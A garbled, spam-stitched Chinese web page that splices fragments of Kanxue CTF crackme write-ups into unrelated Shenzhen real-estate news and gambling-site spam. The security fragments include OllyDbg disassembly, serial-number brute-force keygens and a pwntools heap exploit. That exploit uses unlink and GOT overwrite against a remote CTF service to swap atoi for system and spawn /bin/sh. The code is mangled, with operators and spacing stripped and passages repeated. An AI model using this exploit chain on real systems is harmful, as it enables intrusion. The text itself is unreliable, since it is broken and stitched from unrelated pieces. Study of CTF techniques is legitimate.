校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。我今天问了施工单位,施工单位不能确定,只说尽快。第三个是集团管理层对总部各职能部门进行评价,三方面评价加在一起进行票数统计。、  优越的交通位置使得雅居乐民森迪茵湖小镇非常具有发展潜力。缘起当我们需要在OD中调试异常处理中的代码时,就需要用到看雪前辈所编写的HideOD插件了,它其实就是为系统的打了一个补丁。一线城市人口和购买力外溢,都市圈的轮廓日渐清晰。,窗台通风采光好,湖景朝向视野开阔。其实就是对输入分别与下面这一串异或,返回结果。而另一分支只是将相应的key信息(如key1)变换为其它形式。天曜小区2015年收楼入住,至今出入仍只有“半边路”。。博彩评级 ,他们在未来的生存空间会越来越狭窄,一定会有一大批的中小房企被逼的无路可走。罗湖区成交量跌幅最大,成交1175套二手房,环比减少%,同比增加%;成交面积76617平方米,环比减少%,同比增加%。其实就是对输入分别与下面这一串异或,返回结果。者:(编程解码)(动态调试)骤:代码,定位主要流程。 据了解,深耕深圳二十余年的鸿荣源,如今在深圳拥有,拥有超大体量的土地储备面积,以壹城中心、壹方中心、鸿荣源金融中心等项目为起点,鸿荣源在城市核心区域创建系列百万平米超大型项目,布局大城版图。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。米客厅开间带米宽阳台舒适实用。  当竞买人报价达到最高限制地价时,有意继续竞买的竞买人由竞地价转为竞无偿移交的人才住房面积,住宅总建筑面积不变,按报移交人才住房面积最多者得的原则确定竞得人。,这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:7715351、广深港高铁  广深港高速铁路是一条连接广州、东莞和深圳以及香港的高速铁路,目前部分路段已在通车。详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:。 主要包括房地产开发、物业经营与服务、海外电信运营及移动互联网、大数据、金融服务、休闲娱乐等业务版块。2.跟踪流程跟踪了几次之后,理出来的流程大致如下:_4013E0主要负责释放驱动,启动驱动,还有反调试_4013E0是按下enter之后的处理函数主要流程:1)sub_4182FA((CString*)v7);//获取注册码2)sub_4182FA((CString*)v7);//注册码转小写CString::MakeLower3)sub_41830C((CString*)v7);//注册码倒序CString::MakeReverse4)if(*(_DWORD*)(v7-8)!=6||IsDebuggerPresent())判断注册码长度是否等于6加反调试5)Sub_401D50(v1,v3,(size_t)v5);这个函数主要功能:把获取到的注册码发送到驱动层,计算hash后载读取回来。    时光荏苒,我们与您共同跨越冬季,迎接暖春;一帧帧欣喜的画面在此定格,诉说着时光里的脉脉温情。unsignedcharfii[16]={G,S,L,a,b,1,7//对比字符串unsignedintxy=GetCurrentProcessId();unsignedint*fi1=(unsignedint*)fii;fi1[3]=xy;intgetTheKey1(){inti,j,k;unsignedcharinbuf[]=0123456789abcdefDWORDv8=0x1000193;DWORDv7=0x811C9DC5;for(i=0;i0x800;++i){v7*=v8;fcode[i]^=v7;v7^=fcode[i];}charv5[16]={0};for(j=0;j0x80;++j){unsignedcharv3=0;for(k=0;k0x80;++k)v3=(((signedint)fcode[16*j+k/8]k%8)((signedint)inbuf[k/8](7-k%8))^v3)1;v5[j/8]|=v3(7-j%8);}intret=0;returnret;}unsignedcharut1[0x80][0x81]={0};//fcode2bit(j,k)unsignedcharut2[0x80]={0};//inbuf2bitunsignedcharinb[0x10]={0};//高斯消元法解异或方程voidGauss(){inti,j,k;for(k=0;k0x80;k++){//i=k;for(i=k;i0x80;i++)//对于k=0..N-1,找到一个M[i][k]不为0的行i{if(ut1[i][k]==1)break;}for(j=0;j=0x80;j++)//把找到的第i行与第k行交换{unsignedchartmp=ut1[k][j];ut1[k][j]=ut1[i][j];ut1[i][j]=tmp;}for(i=0;i0x80;i++){if(i!=kut1[i][k]){for(j=0;j=0x80;j++)//=ut1[i][j]=ut1[k][j]^ut1[i][j];}}}for(i=0;i0x80;i++){ut2[i]=ut1[i][0x80];inb[i/8]|=ut2[i](7-i%8);}}__declspec(dllexport)intzapus_get(char*c){inti,j,k;DWORDv8=0x1000193;//FNVHash常量DWORDv7=0x811C9DC5;unsignedcharfii[16]={G,S,L,a,b,1,7//对比字符串unsignedintxy=GetCurrentProcessId();unsignedint*fi1=(unsignedint*)fii;fi1[3]=xy;for(i=0;i0x800;++i){v7*=v8;fcode[i]^=v7;v7^=fcode[i];}for(j=0;j0x80;++j)//常量,转化为异或方程组的系数矩阵{for(k=0;k0x80;++k){ut1[j][k]=(fcode[16*j+k/8]k%8)1;}}for(i=0;i0x80;i++)//对比字符串转化为异或方程组的结果矩阵{ut1[i][0x80]=(fii[i/8](7-i%8))//printf(%x,ut3[i]);}Gauss();//高斯消元法解方程/*//此题如果不要求算法分析,则可在此处算好结果后,直接传回主程序32字节,直接传全0都可满足要求for(intj=0;j0x80;++j){unsignedcharv3=0;for(intk=0;k0x80;++k)v3=(((signedint)fcode[16*j+k/8]k%8)((signedint)inbuf[k/8](7-k%8))^v3)1;//v3=(((signedint)(unsigned__int8)*(fcode[16*j]+k/8)k%8)((signedint)inbuf[k/8](7-k%8))^v3)1;inbuf[16+j/8]|=v3(7-j%8);}memcpy(c,inbuf,32);*/memcpy(c,inb,16);//将解方程结果传回主程序。百家乐技巧(cpu:i7-6700k)最终结果是su1986,所以继续往后看,发现奇怪之处。开发商成交金额TOP10根据深圳房地产信息网的监测,地铁集团1月共销售365679万元,取得了1月份全市开发商成交金额冠军;华侨城地产以224993万元位居亚军;龙光地产以192432万元位居季军。 这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535者:(编程解码)(动态调试)骤:代码,定位主要流程。2018年房贷利率还会继续上涨吗?中泰证券研报指出,在2018年严防金融风险、金融去杠杆的政策基调下,预计2018年整体按揭额度仍偏紧,同时2017年作为居民首付重要资金来源的消费贷等将受到严格管控,房贷利率预计将继续上行。。福田区成交金额TOP10根据深圳房地产信息网的监测,万科兰江山第瑧山道以55819万元摘取福田区成交金额龙虎榜桂冠,安峦公馆以2450万元取得亚军排名。(提供营业执照复印件加盖公章,有特殊要求的须提供相应的证明材料)竞标人需提交的资格审查材料提交《公开竞标资格审查文件》(装订成册,1份正本2份副本),格式详见招租文件第六章。,所以继续往后看,发现奇怪之处。https:///x/page/(2018中泰集团年度营销盛典精彩回顾)中泰人,我们的故事  工作辛苦,很多企业认为“拿钱做事”很应该,但对于员工来说,努力付出能够被记住、被肯定,是对他们士气的一种鼓舞,更是营造良好企业氛围的关键之一。 ,(5)show_success_402030拼接字符串Success^^!并显示在窗体上。还有其它与分页大小、内存映射方式一类的键值设置,大家可以查看IDA文件中,对应注视自己看。除此之外,积分方必须是非莞户籍、孩子入学年龄必须符合也是决定性条件。博彩评级,最后的验证:sub_42D9AB((int)byte_49B000,(int)v13)==1char__cdeclsub_435400(inta1,_BYTE*a2_input){intv2;//ecxintv4;//[esp+10Ch][ebp-14h]intv5;//[esp+118h][ebp-8h]v5=0;v4=0;if(sub_42E27F(v2)==1)sub_42E086();if(sub_42E162()==1)sub_42E086();if(sub_42D4F6()==1)sub_42E086();if(sub_42DA41()==1)sub_42E086();if(sub_42D096()==1)sub_42E086();if(sub_42E45A()==1)sub_42E086();if(sub_42D203()==1)sub_42E086();while(*a2_input!=){if(v5!=8||v4!=3){if(*a2_input==z){if(v4+1=10)return0;if(!*(_DWORD*)(a1+0x28*(v4+1)+4*v5))++v4;}if(*a2_input==lv5+110){if(*(_DWORD*)(a1+40*v4+4*(v5+1)))return0;*(_DWORD*)(a1+40*v4+4*v5++)=4;}if(*a2_input==qv4-1=0){if(*(_DWORD*)(a1+40*(v4-1)+4*v5))return0;*(_DWORD*)(a1+40*v4--+4*v5)=4;}if(*a2_input==pv5-1=0){if(*(_DWORD*)(a1+40*v4+4*(v5-1)))return0;--v5;}}++a2_input;}return1;}这个应该是一个迷宫类似的东西,通过zlqp操作最后能走出吧。  根据深圳房地产信息网的监测,2018年1月全市共成交(网签)新房住宅,成交(网签)面积共281428平,成交(网签)  1月全市新房成交2778套,环比减少%,同比增加%。 